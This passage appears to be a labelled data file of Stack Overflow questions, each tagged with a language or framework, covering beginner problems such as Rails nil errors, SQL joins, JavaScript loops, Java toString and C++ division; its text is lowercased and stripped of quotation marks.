isbn.id%&gt; &lt;tr&gt;&lt;% @isbn.roy_first.each do |hash| %&gt;     &lt;td&gt;&lt;% hash.each do |channel  roy| %&gt;         &lt;%=  #{channel} 1st: £#{roy}  %&gt;      &lt;/td&gt;&lt;% end %&gt;&lt;% end %&gt; &lt;/tr&gt; </code></pre>   the isbn.id bit works fine. the code in  tags gives the following error:    <pre><code>nomethoderror in contracts#show  showing /app/views/isbns/_isbn.html.erb where line #6 raised:  undefined method `roy_first  for nil:nilclass  extracted source (around line #6):  3:  &lt;span class= content &gt;&lt;%= link_to isbn.descriptivedetail_titledetail_titleelement_titlewithoutprefix  edit_isbn_path(isbn.id) %&gt; &lt;/span&gt; 4:     &lt;span class= timestamp &gt; 5:      id: &lt;%= isbn.id%&gt; 6:      &lt;tr&gt;&lt;% @isbn.roy_first.each do |hash| %&gt; 7:          &lt;td&gt;&lt;% hash.each do |channel  roy| %&gt; 8:              &lt;%=  #{channel} 1st: £#{roy}  %&gt;  9:          &lt;/td&gt;&lt;% end %&gt;&lt;% end %&gt; </code></pre>   and making it a local variable gives:   <pre><code>nomethoderror in contracts#show  showing /app/views/isbns/_isbn.html.erb where line #6 raised:  you have a nil object when you didn t expect it! you might have expected an instance of array. the error occurred while evaluating nil.each  extracted source (around line #6):  3:  &lt;span class= content &gt;&lt;%= link_to isbn.descriptivedetail_titledetail_titleelement_titlewithoutprefix  edit_isbn_path(isbn.id) %&gt; &lt;/span&gt; 4:     &lt;span class= timestamp &gt; 5:      id: &lt;%= isbn.id%&gt; 6:      &lt;tr&gt;&lt;% isbn.roy_first.each do |hash| %&gt; 7:          &lt;td&gt;&lt;% hash.each do |channel  roy| %&gt; 8:              &lt;%=  #{channel} 1st: £#{roy}  %&gt;  9:          &lt;/td&gt;&lt;% end %&gt;&lt;% end %&gt;  trace of template inclusion: app/views/contracts/show.html.erb </code></pre>,ruby-on-rails
display name emp max salary from customers and also displaying orders of that employee using joins  sample table customers .where ‘id’ has primary key constraint.    sample customers table   <pre><code>id  sal     name    address 1   40000   name1   hyd 2   30000   name2   bangalore 3   20000   name3   mumbai 4   50000   name4   delhi 5   25000   name5   chennai </code></pre>   sample orders table   <pre><code>client_id   product quantity 2           jeans   1 3           shoes   2 4           watch   1 5           shirt   3 </code></pre>   now i want to select ‘customer name’ who has ‘max’ salary and what product he has ordered i.e product details ‘product’ and ‘quantity’ using joins.    my table should look like   <pre><code>name    sal     product quantity name4   50000   watch     1 </code></pre>   i have  id  has primary key in customers table and  clent_id  as foreign key in products table.,sql
"how to stop for in loop on if statement  <div class= snippet  data-lang= js  data-hide= false  data-console= true  data-babel= false >
 <div class= snippet-code >
 <pre class= snippet-code-js lang-js prettyprint-override ><code>var enemies = [
  {
   nick:  bob1  
   x: 12 
   y: 21
  } 
  {
   nick:  bob2  
   x: 20 
   y: 21
  } 
  {
   nick:  bob3  
   x: 12 
   y: 21
  }
 ]
 var me = {
  x: 19 
  y: 20
 }
 
 for (var x in enemies) {
    var enemy = enemies[x];
    if ((math.abs(me.x - enemy.x) &lt;= 1 &amp;&amp; math.abs(me.y - enemy.y) &lt;= 1)) { 
       console.log( enemy in range );
    } else {
       console.log( enemies not in range );
    }
 }</code></pre>
 </div>
 </div>
     hello everyone. i have an array of enemies  and i am checking if some enemy is 1 field away from my x or y position. and i want to log only once if it is or it s not. as you can see now  it check for every enemy and it logs for every enemy. which is is not what i want. i just want to simply check if there is any enemy 1 field away of my x or y position or not  and get simple response yes  or no. im totally newbie  but if you have any hint for me  that would be awesome!",javascript
is there any sample code to access the user s facebook profile details in iphone sdk   i want to access my own account user details in facebook like messages friend requests notifications my profile pic and my profile details. is there any sample code or any way to do so      anyone s help will be deeply appreciated.    thanks to all  monish.,objective-c
assigning a returned list from a method java  i m trying to return a list from the <code>test</code> method  i see that there are two options to do this. (<code>option 1</code> and <code>option 2</code> in the below code snippet). i would like to know which of these two is a preferred option and the reason for it (if possible).    <pre><code>public class test {     public static void main(string a[]) {         //option 1         list&lt;double&gt; outer = new arraylist&lt;double&gt;(test());          //option 2         list&lt;double&gt; temp = test();         if(temp != null &amp;&amp; temp.size() &gt; 0) {             for(double entry: temp) {                 system.out.println( entry =   + entry);             }         }     }      public static list&lt;double&gt; test() {         list&lt;double&gt; inner = new arraylist&lt;double&gt;();         inner.add(123.0);         inner.add(234.0);         return inner;     } } </code></pre>,java
query the database using a non-id column  i have what i think is a non standard model strcture (i know that it is bad  but its neccessary). given the following migration :   <blockquote> <pre><code>create_table :models  :primary_key =&gt; :mod_id do |t|   t.integer :mod_id   t.integer :mod_mfa_id   t.integer :mod_cds_id   t.integer :mod_pcon_start   t.integer :mod_pcon_end   t.integer :mod_pc   t.integer :mod_cv   t.integer :mod_axl   t.binary :mod_pc_ctm   t.binary :mod_cv_ctm    t.timestamps </code></pre> </blockquote>   the <code>mod_mfa_id</code> corresponds to an association to another table/model (<code>manufacturers</code>). i would like to retrieve models based on the manufacturer s brand column.   <pre><code>  def getmanufacturer      @manufacturer = manufacturers.find(params[:manufacturer])      respond_to do |format|       format.html # show.html.erb       format.xml  { render :xml =&gt; @manufacturer }     end   end </code></pre>   i can t figure out how to modify my controller and routing to handle this use case. i d like to query the app using this kind or url : <code>/models manufacturer=audi&amp;&amp;model=a6</code>,ruby-on-rails
inner join not returning all rows  i’m building a blog engine in c# webforms and i have the following code that selects all blog posts that are current  meaning they should be displayed and a count of all comments for each blog post and it works great.   <pre><code>select postid  posttitle  postdate  postteaser  count(commentid) as countofcommentid  postcurrent  from tblblogpost      inner join tblblogcomment on postid = postcommentfk  group by postid  posttitle  postdate  postteaser  postcurrent having postcurrent =  true  </code></pre>   the problem is it only selects blog posts that have at least one comment.    does anyone know how i can fix this,sql
python class design for each person has n projects  and each project has m things  if the scenario be: the are <code>person s</code>  each <code>person</code> can have n <code>projects</code>  each <code>project</code> may have m <code>things</code>. so far i implemented class as below:   <pre><code>class person():     def __init__(self):         self.projects=project()  class project():     def __init__(self):         self.project=[]  some_one=person() some_one.projects.project.extend([ project1    project2 ]) print(some_one.projects.project)  [ project1    project2 ] </code></pre>   the problem is when i want to connect a <code>project</code> to <code>things</code>   <pre><code>class person():     def __init__(self):         self.projects=project()  class project():     def __init__(self):         self.project=[]         self.things=thing()  class thing():     def __init__(self):         self.thing= thing   some_one=person() some_one.projects.project.extend([ project1    project2 ]) </code></pre>   i want something like:   <pre><code>some_one.projects.project1.things.thing1= some_one s project1 s thing1  </code></pre>,python
c++ if what is the error in that code   hi my english is not very good down i have the source code that i wrote  if  and  else if  no problem with the print but  else  problem i can not print   <pre><code>#include  stdafx.h  #include &lt;iostream&gt; using namespace std;  int main() {      int x  y;     char a b;     bool tm  mf;     y = 13;     b =  a ;      cout &lt;&lt; asagidaki toplama islemini yap ! &lt;&lt; endl &lt;&lt;   12  &lt;&lt; endl &lt;&lt;  +  &lt;&lt; endl &lt;&lt;  1  &lt;&lt; endl;     cin &gt;&gt; x;     mf = (x == y);     cout &lt;&lt;  turkiyenin baskenti nin bas harfini  &lt;&lt; endl &lt;&lt;  buyuk harfle yaz  &lt;&lt; endl;     cin &gt;&gt; a;     tm = (a == b);     if (tm == mf == 1 )         cout &lt;&lt;  zekisin ;     else if (tm == 1)         cout &lt;&lt;  tm ;     else if (mf == 1)         cout &lt;&lt;  mf ;     else          cout &lt;&lt;  basaramadin ;      cin &gt;&gt; a;  } </code></pre>,c++
how can i understand the concept of ‘user script directory’   i m reading <a href= https://www.python.org/dev/peps/pep-0370/#id22  rel= nofollow >pep370</a> it introduces a concept of  user script directory  with words below:   <blockquote>    a directory for binaries and scripts. it s shared across python versions and the destination directory for scripts.  </blockquote>   how to understand such words(especially the second sentence),python
error when using tostring method to print content of arraylist  i have an array containing elements  each having 3 parameters (int  float and string). i followed the explanations to print an array using the tostring method but i get the error  the method must return a result of type string  at this line:   <pre><code>public string myobject(int a  float b  string c)  </code></pre>   here is my code:   <pre><code>public class myobject  {   public int a;   public float b;   public string c;    public string myobject(int a  float b  string c)    {     this.a = a;     this.b = b;     this.c = c;   }     @override     public string tostring()   {     return ( a= +a+  b= +b+  c= +c);   } }   arraylist&lt;myobject&gt; myarraylist = new arraylist&lt;myobject&gt;();  void setup()  {   size(100  60);   myarraylist.add(new myobject(1  4.5   a ));   myarraylist.add(new myobject(2  5.8   b ));   myarraylist.add(new myobject(3  1.3   c ));   system.out.println(myarraylist);   myarraylist.removeall(myarraylist); } </code></pre>   i don t understand why i get this error since the tostring method writes out the int and the float.     could anyone give me a hint on how to solve this      thanks for your help,java
why function pointer rather than calling function directly  i have come across the function pointers. i know understand how this works. but i am not pretty sure  in what situation it will use. after some google and other search in stack overflow. i came know to know that it will use in two case   <blockquote>    when callback mechanism is used        store a array of functions  to call dynamically.  </blockquote>   in this case also  why don t we call function directly. in the call back mechanism also  as particular events occur  callback pointer is assigned to that function(address). then that is called. can t we call function directly rather than using the function pointer. can some some one tell me  what is the exact usage of function pointer and in what situation.,c
why dividing two doubles on c++ aren t showing the right result   hello i m having problem with dividing two doubles on c++  on a basic c++ it s working fine  for example   <pre><code>double dfirstnumber = 4.3; double dsecondnumber = 2.0; double dthirdnumber = dfirstnumber/dsecondnumber; std::cout &lt;&lt; dthirdnumber;  </code></pre>   but not on the code below:   <pre><code>    #include &lt;iostream&gt;     #include &lt;fstream&gt;     #include &lt;string&gt;     #include &lt;windows.h&gt;     #include &lt;regex&gt;     std::string getlastline(std::ifstream&amp; in)     {         std::string line;         while (in &gt;&gt; std::ws &amp;&amp; std::getline(in  line)) // skip empty lines             ;          return line;     }      int main()     {         double dfirstnumber;         double dsecondnumber;         while(true){             std::ifstream file( c:\\users\\admin\\documents\\myfile.txt );              if (file)             {                 std::string line = getlastline(file);                 sleep(1000);                 try {                     std::regex re( \\d*\\.\\d* );                     std::sregex_iterator next(line.begin()  line.end()  re);                     int i = 0;                     std::string firstnumber;                     std::string secondnumber;                     while (i &lt; 3) {                         std::smatch match = *next;                         if (i == 1) {                             firstnumber = match.str();                             dfirstnumber = std::stof(firstnumber);                         }                         if (i == 2) {                             secondnumber = match.str();                             dsecondnumber = std::stof(secondnumber);                         }                         next++;                         i++;                     }                 }                 catch (std::regex_error&amp;) {                     std::cout &lt;&lt;  regex error ;                 }                 double dthirdnumber = dsecondnumber) / dfirstnumber;                 std::cout &lt;&lt; dthirdnumber &lt;&lt; std::endl;             }             else{                 std::cout &lt;&lt;  can t open the file.\n ;             }         }     } </code></pre>   i m getting every second a new line on <code>myfile.txt</code> so i had to check the last line of file  then using regular expression to get the desired datas and store them to c++ variables.    this is how myfile.txt looks    <pre><code>hello name name0.00042surname namesurname name0.00042$100.03 hello name name0.00143surname namesurname name0.00143$100.53 hello name name0.00342surname namesurname name0.00342$100.32 ..............................................^1stnr^.^2ndnr^ ... and another program just continues to extract lines like these  every second! </code></pre>   could anyone explain to me why is this happening  because if i m trying to divide for example <code>dfirstnumber = 407.33  dsecondnumber = 0.015982</code> i m not getting <code>25486.79764735327</code> but i m getting <code>25489.8</code>,c++
what does this array mean  <pre><code>unsigned int pointset[] = { (10&lt;&lt;16) | 3  (4&lt;&lt;16) | 2  0xffff0002 }; </code></pre>   what does this mean      <code>| 3</code> what operation is it,c
query in conditional statements in python  i am newbie to python and programming environment .now i am studying python via online .i landed up a small trouble while studying if statements . the if statement is currently interpreting while the else statement is written it displays me a syntax error attached screen shot will make my problem understandble more clearly:<img src= https://i.stack.imgur.com/5h7ip.jpg  alt= enter image description here >    not only else statement even elif statement also displays a syntax error.,python
icarousel with bigger images are overlapping  how can i solve the issue of overlapping by bigger images in ipad while implementing icarousel animation,objective-c
css positioning/height extending full page  hey guys  i m having some trouble with my css position. basically i have a sidebar that is set to the left of the screen  which basically includes all my links for navigation. i want the sidebar to extend all the way to the bottom of the screen  no matter if the user minimizes or maximizes the browser  or their resolution. even if the page happens to scroll i want the div to go all the way to the bottom. i m having a lot of trouble with this and cannot get it to work correctly. here is my code  if anyone spots the reason it is not working  any help is greatly appreciated.    html:   <pre><code>    &lt;div id= welcome &gt;                  welcome &lt;br&gt; to my site!&lt;br&gt;                      &lt;span style= color: red;  &gt;(beta)&lt;/span&gt;              &lt;div id= sidebar &gt;&lt;a href= index.php &gt;home&lt;/a&gt;&lt;/div&gt;              &lt;div id= sidebar &gt;&lt;a href= link &gt;link&lt;/a&gt;&lt;/div&gt;              &lt;div id= sidebar &gt;&lt;a href= link &gt;link&lt;/a&gt;&lt;/div&gt;              &lt;div id= sidebar &gt;&lt;a href= link &gt;link&lt;/a&gt;&lt;/div&gt;              &lt;div id= sidebar &gt;&lt;a href= link &gt;link&lt;/a&gt;&lt;/div&gt;              &lt;div id= sidebar &gt;&lt;a href= forumpage.php &gt;forum&lt;/a&gt;&lt;/div&gt;              &lt;div id= sidebar &gt;&lt;a href= link &gt;about&lt;/a&gt;&lt;/div&gt;              &lt;div id = sidebar &gt;&lt;a href= link &gt;requests&lt;/a&gt;&lt;/div&gt;              &lt;div id= sidebar  &gt;&lt;a href= unity.php &gt; pr0j3ct un1ty &lt;/a&gt;&lt;/div&gt;              &lt;div style= font-size: 20px; &gt;logged in as: &lt; php echo $_session[ username ];  &gt; &lt;/div&gt;              &lt;div id =  sidebar  &gt;                  &lt;a href =  logoff.php &gt;logout&lt;/a&gt;   &lt;/div&gt;              &lt;div style=  font-size: 16px; &gt;&lt;a href= accountsettings.php &gt;account settings&lt;/a&gt;&lt;/div&gt;               &lt;div style= margin-left: 10px; position: absolute; bottom: 0px; font-size: 16px; &gt;&lt;b&gt;© jm1llz 2010&lt;/b&gt;&lt;/div&gt;   &lt;/div&gt; </code></pre>   css page:   <pre><code>#welcome  {  width: 15%;  float: left;  background-color: darkgrey;  height: 100%;  text-align: center;  font-size: 24px;  font-family: comic sans ms;  font-weight: bold; } </code></pre>,css
nullpointerexception on loading data to java.util.properties object  <strong>note:</strong> please forgive me  if i have wrong in english.    i m learning java! and now i try to load properties from file to java.util.properties object... but i got an exception. i get <code>filename</code> by <code>getclass().getresource( path/to/resource ).tofile()</code> and make a file object from it; then read content. but when i send the <code>inputstream</code> of file to  load  method  get a <code>nullpointerexception</code>.    this is my code:   <pre><code>final class main {     protected properties config;       protected properties getconfig()     {         if( this.config == null )         {             string filename = this.getclass().getresource( /tiny.properties ).getfile();             system.out.print(  filename+  \n  );             file f = new file( filename );              try(inputstream propsfile = new fileinputstream( f ) )             {                 int ch = 0;                 while( (ch = propsfile.read() ) != -1 )                 {                    system.out.print((char) ch); // i can get all content of file here                 }                 this.config.load( propsfile ); // but here i got nullpointerexception!             }             catch(ioexception exc)             {                assert true :  can t read properties file! ;             }         }         return this.config;      } } </code></pre>   and my exception:   <pre><code>exception in thread  main  java.lang.nullpointerexception     at ir.teanlab.japp1.mavenproject1.main.getconfig(main.java:43) // this.config.load( ... )     at ir.teanlab.japp1.mavenproject1.main.getsqlconnection(main.java:57)     at ir.teanlab.japp1.mavenproject1.main.&lt;init&gt;(main.java:67)     at ir.teanlab.japp1.mavenproject1.app.main(app.java:15) </code></pre>,java
c# high cpu load when using serial port  i m coding a serial port application and my first problems were solved here at stackoverflow. the baud rate is 115200 and the problem is that through simple usage of the serial port the cpu load is about 12 % on a i7 quad core at 4 ghz. if i m doing some simple processing on the data the load rises up to about 30-33%. because i need to run in on a laptop it would be great if someone could get me an advice on how to make this more efficient.  thing i ve tried:   <ol> <li>tried to do the data processing in a workerthread but then he told me the the backgroundworker is operating at full load and cannot do more tasks parallel (freely translated)</li> <li>receivedbytestreshold raised brings next to nothing</li> </ol>   here are parts of the code:   <pre><code>private void serialport1_datareceived_1(object sender  system.io.ports.serialdatareceivedeventargs e)     {         if (serialport1.isopen)         {             int bytes = serialport1.bytestoread;             byte[] combuffer = new byte[bytes];             serialport1.read(combuffer  0  bytes);             this.begininvoke(new eventhandler&lt;dataeventargs&gt;(displaytext)  this  new dataeventargs { data = combuffer });         }     }   public class dataeventargs : eventargs         {             public byte[] data { get; set; }         }  private void displaytext(object sender  dataeventargs e)         {     array.reverse(...);         array.reverse(...);         array.reverse(...);         array.reverse(...);         angle0 = bitconverter.tosingle(...  0);         angle1 = bitconverter.tosingle(...  0);         gyro0 = bitconverter.toint16(...  0);       ...     }  </code></pre>   thank you!,.net
code for removing space between 2 images and centering  i am having difficulty with code for two images that i want to be centered and to have no space in-between.     i am inexperienced and don t really know how to merge both  codes into 1..    code i am using for removing space in-between images:   <pre><code>&lt;div class= row &gt; &lt;p style= line-height: 0.0em; &gt;&lt;img src= photo1  /&gt;&lt;img src=”photo2” /&gt;&lt;/p&gt; &lt;/div&gt; </code></pre>   code i am using to center an image:   <pre><code>&lt;div id= wrapper  style= width:100%; text-align:center &gt; &lt;img id= yourimage /&gt; &lt;/div&gt; </code></pre>   any help would be appreciated.,html
how do i get started with android   how should i get started with android  from where do i get help and sample source code  can a jsf application run on android phones  i saw primefaces site and it has touchfaces which are meant for android phones. but i really don t know how should i get started with android. is it too tough  does it take too much time creating even a simple application     thanks in advance :),android
query fetch returning  array   here is my code. i am fairly new to php and mysql. i m having a hard time figuring out why my fetch is returning the string  array . also  is there a better way to write all of the echo statements  what s proper php coding rules    <pre><code>while($row = mysql_fetch_array($question)) { $answerid = $row[ intqaid ]; $getanswer = mysql_query( select cbody from tblqa where intresponseid = $answerid and intposterid =  17  ); $answerbody = mysql_fetch_array($getanswer); echo  &lt;tr class= forum &gt; ; echo  &lt;td class= forum &gt;  . $row[ intqaid ] .  &lt;/td&gt; ; echo  &lt;td class= forum &gt;  . substr($row[ cbody ]  0  150) .  &lt;/td&gt; ; echo  &lt;td class= forum &gt;  . $row[ ccategory ] .  &lt;/td&gt; ; echo  &lt;td class= forum &gt;  . $row[ username ] .  &lt;/td&gt; ; echo  &lt;td class= forum &gt;  . $row[ post_time ] .  &lt;/td&gt; ; echo  &lt;/tr&gt; ; echo  &lt;tr class= forum &gt; ; echo  &lt;td class= forum &gt;&lt;/td&gt; ; echo  &lt;td class= forum &gt;$answerbody&lt;/td&gt; ; echo  &lt;td class= forum &gt;&lt;/td&gt; ; echo  &lt;td class= forum &gt;&lt;/td&gt; ; echo  &lt;td class= forum &gt;&lt;/td&gt; ; } echo  &lt;/table&gt;&lt;/div&gt;&lt;/div&gt; ; </code></pre>,php
how to run a winform exe in normal pc not having .net frame work installed  i developed a winform application using c# in visual studio 2008. now i want to run the exe on another pc which doesn t have .net framework or visual studio. i am sending the application using zip via email. the second pc downloads that application and extracts into a normal folder and then it executes the exe file. but i am getting the exception that .net frame work v 2.0 must be installed.    can you please tell me how to run that exe without .net frame work installed,c#
angular $location.path expression for a url  i m trying to hide a header element in my angularjs app based on certain paths. so far i have this:   <pre><code>    &lt;header logo= appmodel.config.logourl  ng-hide= currentpath=== /brandhealth/metricswidget  &gt;&lt;/header&gt; </code></pre>   this works fine but when i change <code>currentpath</code> to <code> /brandhealth/* </code> it does not work. i need it to work for all urls within that <code>brandhealth</code> subset. any way to do this     thanks in adv,angularjs
part identifier could not be bound <pre><code> project nr      task                  task deadline    task type production   456             packed                1 april 2013      packed 456             leave production      3 april 2013      leave production 456             flight date           9 april 2013      flight date 123             packed                1 april 2013      packed 123             leave production      6 april 2013      leave production 123             flight date           9 april 2013      flight date 789             packed                1 april 2013      packed 789             leave production      9 april 2013      leave production 789             flight date           9 april 2013      flight date </code></pre>   i need a list like above i want to sort on the date of  leave production  the project nr has to stay ingroups of 3 like the list above.    i already have this sql. the list is working but the sort is not working. the error is: the multi-part identifier  task.[task deadline]  could not be bound. i already had a suggestion but still errors. how do i get is sorted     this is the list i get:   <pre><code>project nr     task             taskdate 0053           packed           2013-02-05 17:00:00.000 0053           leave production 2011-04-26 17:00:00.000 0053           flight date      2011-04-22 17:00:00.000 0071           leave production 2011-06-24 17:00:00.000 0081           leave production 2012-03-09 17:00:00.000 0081-01        leave production 2012-03-09 17:00:00.000  </code></pre>   this is the sql:   <pre><code>    select  [project nr]  task  taskdate         from    (         select   msp_epmproject_userview.[project nr]                  max(case   when [task type production] =  packed                               then [task deadline]                          end) as packed                  max(case   when [task type production] =  leave production                               then [task deadline]                         end) as [leave production]                  max(case   when [task type production] =  flight date                              then [task deadline]                         end) as [flight date]        from    msp_epmproject_userview                 left join msp_epmtask_userview                      on msp_epmproject_userview.projectuid = msp_epmtask_userview.projectuid                  left join msp_epmassignment_userview                      on msp_epmtask_userview.taskuid = msp_epmassignment_userview.taskuid                 left join msp_epmresource_userview                 on msp_epmassignment_userview.resourceuid = msp_epmresource_userview.resourceuid      where (msp_epmtask_userview.taskisprojectsummary = 0)      group by msp_epmproject_userview.[project nr]     )     data         unpivot     (       taskdate       for [task] in ([pack] [leave production] [flight date])     ) piv   select  [project nr]  task  taskdate   from    (   select   msp_epmproject_userview.[project nr]          max(case   when [task type production] =  packed                       then [task deadline]                  end) as packed          max(case   when [task type production] =  leave production                       then [task deadline]                 end) as [leave production]          max(case   when [task type production] =  flight date                       then [task deadline]                 end) as [flight date]    from    msp_epmproject_userview          left join msp_epmtask_userview              on msp_epmproject_userview.projectuid = msp_epmtask_userview.projectuid          left join msp_epmassignment_userview              on msp_epmtask_userview.taskuid = msp_epmassignment_userview.taskuid          left join msp_epmresource_userview              on msp_epmassignment_userview.resourceuid = msp_epmresource_userview.resourceuid     where (msp_epmtask_userview.taskisprojectsummary = 0)    group by msp_epmproject_userview.[project nr]   ) data   unpivot   (      taskdate     for [task] in ([pack] [leave production] [flight date])    ) piv  this line should do the sort  but i get an error     order by    data.[task deadline]  msg 4104  level 16  state 1  line 62 the multi-part identifier  data.[leave production]  could not be bound. the problem lies in the fact that i need a pivot list that is sorted on the second line of the  group       0053           packed           2013-02-05 17:00:00.000  --&gt;&gt; 0053           leave production 2011-04-26 17:00:00.000       0053           flight date      2011-04-22 17:00:00.000 </code></pre>   i have send this question befor  but the answers don t work unfortunately. perhaps i need another setup. any ideas,sql
ror: nomethoderror: undefined method `[]  for nil:nilclass  i have not idea on which file is having this issue.    <pre><code>bundle exec rake db:create --trace /usr/local/cellar/ruby/2.5.1/lib/ruby/2.5.0/fileutils.rb:90: warning: already initialized constant fileutils::version /usr/local/lib/ruby/gems/2.5.0/gems/fileutils-1.1.0/lib/fileutils.rb:92: warning: previous definition of version was here /usr/local/cellar/ruby/2.5.1/lib/ruby/2.5.0/fileutils.rb:1188: warning: already initialized constant fileutils::entry_::s_if_door /usr/local/lib/ruby/gems/2.5.0/gems/fileutils-1.1.0/lib/fileutils.rb:1267: warning: previous definition of s_if_door was here /usr/local/cellar/ruby/2.5.1/lib/ruby/2.5.0/fileutils.rb:1446: warning: already initialized constant fileutils::entry_::directory_term /usr/local/lib/ruby/gems/2.5.0/gems/fileutils-1.1.0/lib/fileutils.rb:1541: warning: previous definition of directory_term was here /usr/local/cellar/ruby/2.5.1/lib/ruby/2.5.0/fileutils.rb:1448: warning: already initialized constant fileutils::entry_::syscase /usr/local/lib/ruby/gems/2.5.0/gems/fileutils-1.1.0/lib/fileutils.rb:1543: warning: previous definition of syscase was here /usr/local/cellar/ruby/2.5.1/lib/ruby/2.5.0/fileutils.rb:1501: warning: already initialized constant fileutils::opt_table /usr/local/lib/ruby/gems/2.5.0/gems/fileutils-1.1.0/lib/fileutils.rb:1596: warning: previous definition of opt_table was here /usr/local/cellar/ruby/2.5.1/lib/ruby/2.5.0/fileutils.rb:1555: warning: already initialized constant fileutils::low_methods /usr/local/lib/ruby/gems/2.5.0/gems/fileutils-1.1.0/lib/fileutils.rb:1650: warning: previous definition of low_methods was here /usr/local/cellar/ruby/2.5.1/lib/ruby/2.5.0/fileutils.rb:1562: warning: already initialized constant fileutils::methods /usr/local/lib/ruby/gems/2.5.0/gems/fileutils-1.1.0/lib/fileutils.rb:1657: warning: previous definition of methods was here warning: nokogiri was built against libxml version 2.9.4  but has dynamically loaded 2.8.0 ** invoke db:create (first_time) ** invoke db:load_config (first_time) ** invoke environment (first_time) ** execute environment ** execute db:load_config rake aborted! nomethoderror: cannot load `rails.application.database_configuration`: undefined method `[]  for nil:nilclass (erb):26:in `&lt;main&gt;  /usr/local/cellar/ruby/2.5.1/lib/ruby/2.5.0/erb.rb:876:in `eval  /usr/local/cellar/ruby/2.5.1/lib/ruby/2.5.0/erb.rb:876:in `result  /usr/local/lib/ruby/gems/2.5.0/gems/railties-5.2.0/lib/rails/application/configuration.rb:172:in `database_configuration  /usr/local/lib/ruby/gems/2.5.0/gems/activerecord-5.2.0/lib/active_record/railtie.rb:39:in `block (3 levels) in &lt;class:railtie&gt;  /usr/local/lib/ruby/gems/2.5.0/gems/rake-12.3.1/lib/rake/task.rb:271:in `block in execute  /usr/local/lib/ruby/gems/2.5.0/gems/rake-12.3.1/lib/rake/task.rb:271:in `each  /usr/local/lib/ruby/gems/2.5.0/gems/rake-12.3.1/lib/rake/task.rb:271:in `execute  /usr/local/lib/ruby/gems/2.5.0/gems/bugsnag-6.7.3/lib/bugsnag/integrations/rake.rb:18:in `execute_with_bugsnag  /usr/local/lib/ruby/gems/2.5.0/gems/rake-12.3.1/lib/rake/task.rb:213:in `block in invoke_with_call_chain  /usr/local/cellar/ruby/2.5.1/lib/ruby/2.5.0/monitor.rb:226:in `mon_synchronize  /usr/local/lib/ruby/gems/2.5.0/gems/rake-12.3.1/lib/rake/task.rb:193:in `invoke_with_call_chain  /usr/local/lib/ruby/gems/2.5.0/gems/rake-12.3.1/lib/rake/task.rb:237:in `block in invoke_prerequisites  /usr/local/lib/ruby/gems/2.5.0/gems/rake-12.3.1/lib/rake/task.rb:235:in `each  /usr/local/lib/ruby/gems/2.5.0/gems/rake-12.3.1/lib/rake/task.rb:235:in `invoke_prerequisites  /usr/local/lib/ruby/gems/2.5.0/gems/rake-12.3.1/lib/rake/task.rb:212:in `block in invoke_with_call_chain  /usr/local/cellar/ruby/2.5.1/lib/ruby/2.5.0/monitor.rb:226:in `mon_synchronize  /usr/local/lib/ruby/gems/2.5.0/gems/rake-12.3.1/lib/rake/task.rb:193:in `invoke_with_call_chain  /usr/local/lib/ruby/gems/2.5.0/gems/rake-12.3.1/lib/rake/task.rb:182:in `invoke  /usr/local/lib/ruby/gems/2.5.0/gems/rake-12.3.1/lib/rake/application.rb:160:in `invoke_task  /usr/local/lib/ruby/gems/2.5.0/gems/rake-12.3.1/lib/rake/application.rb:116:in `block (2 levels) in top_level  /usr/local/lib/ruby/gems/2.5.0/gems/rake-12.3.1/lib/rake/application.rb:116:in `each  /usr/local/lib/ruby/gems/2.5.0/gems/rake-12.3.1/lib/rake/application.rb:116:in `block in top_level  /usr/local/lib/ruby/gems/2.5.0/gems/rake-12.3.1/lib/rake/application.rb:125:in `run_with_threads  /usr/local/lib/ruby/gems/2.5.0/gems/rake-12.3.1/lib/rake/application.rb:110:in `top_level  /usr/local/lib/ruby/gems/2.5.0/gems/rake-12.3.1/lib/rake/application.rb:83:in `block in run  /usr/local/lib/ruby/gems/2.5.0/gems/rake-12.3.1/lib/rake/application.rb:186:in `standard_exception_handling  /usr/local/lib/ruby/gems/2.5.0/gems/rake-12.3.1/lib/rake/application.rb:80:in `run  /usr/local/lib/ruby/gems/2.5.0/gems/rake-12.3.1/exe/rake:27:in `&lt;top (required)&gt;  /usr/local/bin/rake:23:in `load  /usr/local/bin/rake:23:in `&lt;top (required)&gt;  /usr/local/lib/ruby/site_ruby/2.5.0/bundler/cli/exec.rb:74:in `load  /usr/local/lib/ruby/site_ruby/2.5.0/bundler/cli/exec.rb:74:in `kernel_load  /usr/local/lib/ruby/site_ruby/2.5.0/bundler/cli/exec.rb:28:in `run  /usr/local/lib/ruby/site_ruby/2.5.0/bundler/cli.rb:424:in `exec        /usr/local/lib/ruby/site_ruby/2.5.0/bundler/vendor/thor/lib/thor/command.rb:27:in `run          /usr/local/lib/ruby/site_ruby/2.5.0/bundler/vendor/thor/lib/thor/invocation.rb:126:in `invoke_command      /usr/local/lib/ruby/site_ruby/2.5.0/bundler/vendor/thor/lib/thor.rb:387:in `dispatch      /usr/local/lib/ruby/site_ruby/2.5.0/bundler/cli.rb:27:in `dispatch      /usr/local/lib/ruby/site_ruby/2.5.0/bundler/vendor/thor/lib/thor/base.rb:466:in `start      /usr/local/lib/ruby/site_ruby/2.5.0/bundler/cli.rb:18:in `start      /usr/local/bin/bundle:30:in `block in &lt;main&gt;      /usr/local/lib/ruby/site_ruby/2.5.0/bundler/friendly_errors.rb:124:in `with_friendly_errors      /usr/local/bin/bundle:22:in `&lt;main&gt;       caused by: nomethoderror: undefined method `[]  for nil:nilclass (erb):26:in `&lt;main&gt;      /usr/local/cellar/ruby/2.5.1/lib/ruby/2.5.0/erb.rb:876:in `eval      /usr/local/cellar/ruby/2.5.1/lib/ruby/2.5.0/erb.rb:876:in `result      /usr/local/lib/ruby/gems/2.5.0/gems/railties-5.2.0/lib/rails/application/configuration.rb:172:in `database_configuration      /usr/local/lib/ruby/gems/2.5.0/gems/activerecord-5.2.0/lib/active_record/railtie.rb:39:in `block (3 levels) in &lt;class:railtie&gt;      /usr/local/lib/ruby/gems/2.5.0/gems/rake-12.3.1/lib/rake/task.rb:271:in `block in execute      /usr/local/lib/ruby/gems/2.5.0/gems/rake-12.3.1/lib/rake/task.rb:271:in `each      /usr/local/lib/ruby/gems/2.5.0/gems/rake-12.3.1/lib/rake/task.rb:271:in `execute      /usr/local/lib/ruby/gems/2.5.0/gems/bugsnag-6.7.3/lib/bugsnag/integrations/rake.rb:18:in `execute_with_bugsnag      /usr/local/lib/ruby/gems/2.5.0/gems/rake-12.3.1/lib/rake/task.rb:213:in `block in invoke_with_call_chain      /usr/local/cellar/ruby/2.5.1/lib/ruby/2.5.0/monitor.rb:226:in `mon_synchronize      